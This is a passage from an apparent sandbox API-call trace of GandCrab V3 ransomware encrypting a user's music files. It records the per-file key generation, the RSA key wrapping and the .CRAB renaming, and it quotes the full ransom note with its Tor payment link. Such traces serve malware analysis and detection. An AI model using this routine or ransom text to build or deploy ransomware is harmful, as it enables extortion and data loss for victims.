	[0130.209] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\1O7HGWeE_bm1QZ3.m4a" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\1o7hgwee_bm1qz3.m4a"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\1O7HGWeE_bm1QZ3.m4a.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\1o7hgwee_bm1qz3.m4a.crab")) returned 1
	[0130.210] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0130.210] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Music\\1O7HGWeE_bm1QZ3.m4a.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\1O7HGWeE_bm1QZ3.m4a.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Music\\1O7HGWeE_bm1QZ3.m4a.CRAB"
	[0130.210] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\1O7HGWeE_bm1QZ3.m4a.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\1O7HGWeE_bm1QZ3.m4a.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Music\\1O7HGWeE_bm1QZ3.m4a.CRAB.CRAB"
	[0130.210] CryptAcquireContextW (in: phProv=0x314d2d8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2d8*=0xd6e408) returned 1
	[0130.213] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0130.213] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0130.213] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0130.213] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x10, pbBuffer=0x314d414 | out: pbBuffer=0x314d414) returned 1
	[0130.213] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0130.213] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0130.214] CryptAcquireContextW (in: phProv=0x314d2d8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2d8*=0xd6e7c0) returned 1
	[0130.216] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0130.216] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0130.216] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0130.217] CryptGenRandom (in: hProv=0xd6e7c0, dwLen=0x20, pbBuffer=0x314d3f0 | out: pbBuffer=0x314d3f0) returned 1
	[0130.217] CryptReleaseContext (hProv=0xd6e7c0, dwFlags=0x0) returned 1
	[0130.217] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0130.217] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2d0000
	[0130.217] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2e0000
	[0130.217] CryptAcquireContextW (in: phProv=0x314d2c8, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2c8*=0xd6e408) returned 1
	[0130.220] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314d2c4 | out: phKey=0x314d2c4*=0x320f610) returned 1
	[0130.220] CryptGetKeyParam (in: hKey=0x320f610, dwParam=0x8, pbData=0x314d2b4, pdwDataLen=0x314d2bc, dwFlags=0x0 | out: pbData=0x314d2b4*=0x800, pdwDataLen=0x314d2bc*=0x4) returned 1
	[0130.220] CryptEncrypt (in: hKey=0x320f610, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d0000*, pdwDataLen=0x314d424*=0xc8, dwBufLen=0x800 | out: pbData=0x2d0000*, pdwDataLen=0x314d424*=0x100) returned 1
	[0130.221] GetLastError () returned 0x0
	[0130.221] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0130.221] CryptAcquireContextW (in: phProv=0x314d2c8, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2c8*=0xd6e408) returned 1
	[0130.224] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314d2c4 | out: phKey=0x314d2c4*=0x320fd10) returned 1
	[0130.224] CryptGetKeyParam (in: hKey=0x320fd10, dwParam=0x8, pbData=0x314d2b4, pdwDataLen=0x314d2bc, dwFlags=0x0 | out: pbData=0x314d2b4*=0x800, pdwDataLen=0x314d2bc*=0x4) returned 1
	[0130.224] CryptEncrypt (in: hKey=0x320fd10, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2e0000*, pdwDataLen=0x314d428*=0xc8, dwBufLen=0x800 | out: pbData=0x2e0000*, pdwDataLen=0x314d428*=0x100) returned 1
	[0130.224] GetLastError () returned 0x0
	[0130.224] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0130.224] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\1O7HGWeE_bm1QZ3.m4a.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\1o7hgwee_bm1qz3.m4a.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3e8
	[0130.225] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2f0000
	[0130.225] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0130.225] ReadFile (in: hFile=0x3e8, lpBuffer=0x3360000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314d46c, lpOverlapped=0x0 | out: lpBuffer=0x3360000*, lpNumberOfBytesRead=0x314d46c*=0x13912, lpOverlapped=0x0) returned 1
	[0130.236] VirtualAlloc (lpAddress=0x0, dwSize=0x13920, flAllocationType=0x3000, flProtect=0x4) returned 0x300000
	[0130.238] VirtualAlloc (lpAddress=0x0, dwSize=0x13920, flAllocationType=0x3000, flProtect=0x4) returned 0x320000
	[0130.240] VirtualFree (lpAddress=0x300000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0130.240] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0xfffec6ee, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0130.241] WriteFile (in: hFile=0x3e8, lpBuffer=0x320000*, nNumberOfBytesToWrite=0x13920, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x320000*, lpNumberOfBytesWritten=0x314d45c*=0x13920, lpOverlapped=0x0) returned 1
	[0130.241] VirtualFree (lpAddress=0x320000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0130.241] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0130.246] WriteFile (in: hFile=0x3e8, lpBuffer=0x2d0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x2d0000*, lpNumberOfBytesWritten=0x314d45c*=0x100, lpOverlapped=0x0) returned 1
	[0130.246] WriteFile (in: hFile=0x3e8, lpBuffer=0x2e0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x2e0000*, lpNumberOfBytesWritten=0x314d45c*=0x100, lpOverlapped=0x0) returned 1
	[0130.246] WriteFile (in: hFile=0x3e8, lpBuffer=0x2f0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x2f0000*, lpNumberOfBytesWritten=0x314d45c*=0x8, lpOverlapped=0x0) returned 1
	[0130.246] CloseHandle (hObject=0x3e8) returned 1
	[0130.247] VirtualFree (lpAddress=0x2f0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0130.247] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0130.247] VirtualFree (lpAddress=0x2e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0130.247] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0130.248] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0130.248] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0130.248] FindNextFileW (in: hFindFile=0x320f890, lpFindFileData=0x314dcb8 | out: lpFindFileData=0x314dcb8) returned 1
	[0130.248] lstrcmpW (lpString1="4glwOL0", lpString2=".") returned 1
	[0130.248] lstrcmpW (lpString1="4glwOL0", lpString2="..") returned 1
	[0130.248] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\", lpString2="4glwOL0" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\4glwOL0") returned="C:\\Users\\CIiHmnxMn6Ps\\Music\\4glwOL0"
	[0130.248] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\4glwOL0", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\4glwOL0\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Music\\4glwOL0\\"
	[0130.248] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0130.250] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1
	[0130.250] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1
	[0130.250] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1
	[0130.250] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1
	[0130.250] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0130.250] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314ca10, csidl=0, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 1
	[0130.250] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\"
	[0130.250] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\4glwOL0\\", lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned 1
	[0130.250] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314c1f8, csidl=25, fCreate=0 | out: pszPath="C:\\Users\\Public\\Desktop") returned 1
	[0130.250] lstrcatW (in: lpString1="C:\\Users\\Public\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Desktop\\") returned="C:\\Users\\Public\\Desktop\\"
	[0130.250] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\4glwOL0\\", lpString2="C:\\Users\\Public\\Desktop\\") returned -1
	[0130.250] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0130.250] wsprintfW (in: param_1=0x140000, param_2="%s\\CRAB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Music\\4glwOL0\\\\CRAB-DECRYPT.txt") returned 53
	[0130.251] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\4glwOL0\\\\CRAB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\4glwol0\\crab-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3e8
	[0130.287] lstrlenW (lpString="---= GANDCRAB V3  =--- \r\r\n\r\r\nAttention! \r\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .CRAB \r\r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files. \r\n\r\r\nThe server with your key is in a closed network TOR. You can get there by the following ways: \r\r\n0. Download Tor browser - https://www.torproject.org/ \r\r\n1. Install Tor browser \r\r\n2. Open Tor Browser \r\r\n3. Open link in TOR browser: http://gandcrab2pie73et.onion/dce1bb8bd2ca4def                        \r\r\n4. Follow the instructions on this page \r\r\n                        \r\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free. \r\r\n\r\nThe alternative way to contact us is to use Jabber messanger. Read how to:\r\n0. Download Psi-Plus Jabber Client: https://psi-im.org/download/\r\n1. Register new account: http://sj.ms/register.php\r\n    0) Enter \"username\": dce1bb8bd2ca4def                        \r\n    1) Enter \"password\": your password\r\n2. Add new account in Psi\r\n3. Add and write Jabber ID: ransomware@sj.ms any message\r\n4. Follow instruction bot \r\n\r\n\r\nATTENTION!\r\nIt is a bot! It's fully automated artificial system without human control!\r\nTo contact us use TOR links. We can provide you all required proofs of decryption availibility anytime. We are open to conversations.\r\nYou can read instructions how to install and use jabber here http://www.sfu.ca/jabber/Psi_Jabber_PC.pdf \r\n\r\nCAUGHTION! \r\r\nDo not try to modify files or use your own private key. This will result in the loss of your data forever! ") returned 1639
	[0130.288] WriteFile (in: hFile=0x3e8, lpBuffer=0xcf3000*, nNumberOfBytesToWrite=0xcce, lpNumberOfBytesWritten=0x314c9f4, lpOverlapped=0x0 | out: lpBuffer=0xcf3000*, lpNumberOfBytesWritten=0x314c9f4*=0xcce, lpOverlapped=0x0) returned 1
	[0130.288] CloseHandle (hObject=0x3e8) returned 1
	[0130.288] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0130.289] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Music\\4glwOL0\\") returned 36
	[0130.289] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\4glwOL0\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\4glwOL0\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\Music\\4glwOL0\\*"
	[0130.289] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\4glwOL0\\*", lpFindFileData=0x314d210 | out: lpFindFileData=0x314d210) returned 0x320f710
	[0130.289] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0130.289] FindNextFileW (in: hFindFile=0x320f710, lpFindFileData=0x314d210 | out: lpFindFileData=0x314d210) returned 1
	[0130.289] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0130.289] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0130.289] FindNextFileW (in: hFindFile=0x320f710, lpFindFileData=0x314d210 | out: lpFindFileData=0x314d210) returned 1
	[0130.289] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2=".") returned 1
	[0130.289] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2="..") returned 1
	[0130.289] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\4glwOL0\\", lpString2="CRAB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\4glwOL0\\CRAB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\Music\\4glwOL0\\CRAB-DECRYPT.txt"
	[0130.289] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0130.290] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Music\\4glwOL0\\CRAB-DECRYPT.txt") returned 52
	[0130.290] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Music\\4glwOL0\\CRAB-DECRYPT.txt") returned 52
	[0130.290] lstrlenW (lpString=".txt") returned 4
	[0130.290] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0130.290] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".txt ") returned 5
	[0130.290] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0130.290] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Music\\4glwOL0\\CRAB-DECRYPT.txt") returned 52
	[0130.290] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Music\\4glwOL0\\CRAB-DECRYPT.txt") returned 52
	[0130.290] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="desktop.ini") returned -1
	[0130.290] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="autorun.inf") returned 1
	[0130.290] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat") returned -1
	[0130.291] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="iconcache.db") returned -1
	[0130.291] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="bootsect.bak") returned 1
	[0130.291] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="boot.ini") returned 1
	[0130.291] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1
	[0130.291] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="thumbs.db") returned -1
	[0130.291] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="CRAB-DECRYPT.txt") returned 0
	[0130.291] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0130.291] FindNextFileW (in: hFindFile=0x320f710, lpFindFileData=0x314d210 | out: lpFindFileData=0x314d210) returned 1
	[0130.291] lstrcmpW (lpString1="FHhxqUugD3FstVNcKNS.wav", lpString2=".") returned 1
	[0130.291] lstrcmpW (lpString1="FHhxqUugD3FstVNcKNS.wav", lpString2="..") returned 1
	[0130.291] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\4glwOL0\\", lpString2="FHhxqUugD3FstVNcKNS.wav" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\4glwOL0\\FHhxqUugD3FstVNcKNS.wav") returned="C:\\Users\\CIiHmnxMn6Ps\\Music\\4glwOL0\\FHhxqUugD3FstVNcKNS.wav"
	[0130.291] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0130.292] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Music\\4glwOL0\\FHhxqUugD3FstVNcKNS.wav") returned 59
	[0130.292] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Music\\4glwOL0\\FHhxqUugD3FstVNcKNS.wav") returned 59
	[0130.292] lstrlenW (lpString=".wav") returned 4
	[0130.292] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0130.292] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".wav ") returned 5
	[0130.292] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0130.292] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Music\\4glwOL0\\FHhxqUugD3FstVNcKNS.wav") returned 59
	[0130.292] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Music\\4glwOL0\\FHhxqUugD3FstVNcKNS.wav") returned 59
	[0130.293] lstrcmpiW (lpString1="FHhxqUugD3FstVNcKNS.wav", lpString2="desktop.ini") returned 1
	[0130.293] lstrcmpiW (lpString1="FHhxqUugD3FstVNcKNS.wav", lpString2="autorun.inf") returned 1
	[0130.293] lstrcmpiW (lpString1="FHhxqUugD3FstVNcKNS.wav", lpString2="ntuser.dat") returned -1
	[0130.293] lstrcmpiW (lpString1="FHhxqUugD3FstVNcKNS.wav", lpString2="iconcache.db") returned -1
	[0130.293] lstrcmpiW (lpString1="FHhxqUugD3FstVNcKNS.wav", lpString2="bootsect.bak") returned 1
	[0130.293] lstrcmpiW (lpString1="FHhxqUugD3FstVNcKNS.wav", lpString2="boot.ini") returned 1
	[0130.293] lstrcmpiW (lpString1="FHhxqUugD3FstVNcKNS.wav", lpString2="ntuser.dat.log") returned -1
	[0130.293] lstrcmpiW (lpString1="FHhxqUugD3FstVNcKNS.wav", lpString2="thumbs.db") returned -1
	[0130.293] lstrcmpiW (lpString1="FHhxqUugD3FstVNcKNS.wav", lpString2="CRAB-DECRYPT.txt") returned 1
	[0130.293] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0130.293] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Music\\4glwOL0\\FHhxqUugD3FstVNcKNS.wav.CRAB") returned 64
	[0130.293] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\4glwOL0\\FHhxqUugD3FstVNcKNS.wav" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\4glwol0\\fhhxquugd3fstvnckns.wav")) returned 0x20
	[0130.293] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\4glwOL0\\FHhxqUugD3FstVNcKNS.wav", dwFileAttributes=0x20) returned 1
	[0130.294] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\4glwOL0\\FHhxqUugD3FstVNcKNS.wav" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\4glwol0\\fhhxquugd3fstvnckns.wav"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\4glwOL0\\FHhxqUugD3FstVNcKNS.wav.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\4glwol0\\fhhxquugd3fstvnckns.wav.crab")) returned 1
	[0130.295] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0130.295] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Music\\4glwOL0\\FHhxqUugD3FstVNcKNS.wav.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\4glwOL0\\FHhxqUugD3FstVNcKNS.wav.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Music\\4glwOL0\\FHhxqUugD3FstVNcKNS.wav.CRAB"
	[0130.295] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\4glwOL0\\FHhxqUugD3FstVNcKNS.wav.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\4glwOL0\\FHhxqUugD3FstVNcKNS.wav.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Music\\4glwOL0\\FHhxqUugD3FstVNcKNS.wav.CRAB.CRAB"
	[0130.295] CryptAcquireContextW (in: phProv=0x314c830, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c830*=0xd6e408) returned 1
	[0130.298] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0130.298] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0130.299] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0130.299] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x10, pbBuffer=0x314c96c | out: pbBuffer=0x314c96c) returned 1
	[0130.299] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0130.299] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0130.299] CryptAcquireContextW (in: phProv=0x314c830, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c830*=0xd6e408) returned 1
	[0130.302] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0130.302] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0130.302] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0130.302] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x20, pbBuffer=0x314c948 | out: pbBuffer=0x314c948) returned 1
	[0130.302] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0130.302] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0130.303] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2d0000
	[0130.303] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2e0000
	[0130.303] CryptAcquireContextW (in: phProv=0x314c820, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c820*=0xd6ed98) returned 1
	[0130.306] CryptImportKey (in: hProv=0xd6ed98, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314c81c | out: phKey=0x314c81c*=0x320f750) returned 1
	[0130.306] CryptGetKeyParam (in: hKey=0x320f750, dwParam=0x8, pbData=0x314c80c, pdwDataLen=0x314c814, dwFlags=0x0 | out: pbData=0x314c80c*=0x800, pdwDataLen=0x314c814*=0x4) returned 1
	[0130.306] CryptEncrypt (in: hKey=0x320f750, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d0000*, pdwDataLen=0x314c97c*=0xc8, dwBufLen=0x800 | out: pbData=0x2d0000*, pdwDataLen=0x314c97c*=0x100) returned 1
	[0130.307] GetLastError () returned 0x0
	[0130.307] CryptReleaseContext (hProv=0xd6ed98, dwFlags=0x0) returned 1
	[0130.307] CryptAcquireContextW (in: phProv=0x314c820, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c820*=0xd6e408) returned 1
	[0130.310] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314c81c | out: phKey=0x314c81c*=0x320f7d0) returned 1
	[0130.310] CryptGetKeyParam (in: hKey=0x320f7d0, dwParam=0x8, pbData=0x314c80c, pdwDataLen=0x314c814, dwFlags=0x0 | out: pbData=0x314c80c*=0x800, pdwDataLen=0x314c814*=0x4) returned 1
	[0130.310] CryptEncrypt (in: hKey=0x320f7d0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2e0000*, pdwDataLen=0x314c980*=0xc8, dwBufLen=0x800 | out: pbData=0x2e0000*, pdwDataLen=0x314c980*=0x100) returned 1
	[0130.310] GetLastError () returned 0x0
	[0130.310] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0130.311] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\4glwOL0\\FHhxqUugD3FstVNcKNS.wav.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\4glwol0\\fhhxquugd3fstvnckns.wav.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ec
	[0130.311] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2f0000
	[0130.311] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0130.312] ReadFile (in: hFile=0x3ec, lpBuffer=0x3360000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314c9c4, lpOverlapped=0x0 | out: lpBuffer=0x3360000*, lpNumberOfBytesRead=0x314c9c4*=0x96d2, lpOverlapped=0x0) returned 1
	[0130.325] VirtualAlloc (lpAddress=0x0, dwSize=0x96e0, flAllocationType=0x3000, flProtect=0x4) returned 0x300000
	[0130.326] VirtualAlloc (lpAddress=0x0, dwSize=0x96e0, flAllocationType=0x3000, flProtect=0x4) returned 0x310000
	[0130.327] VirtualFree (lpAddress=0x300000, dwSize=0x0, dwFreeType=0x8000) returned 1
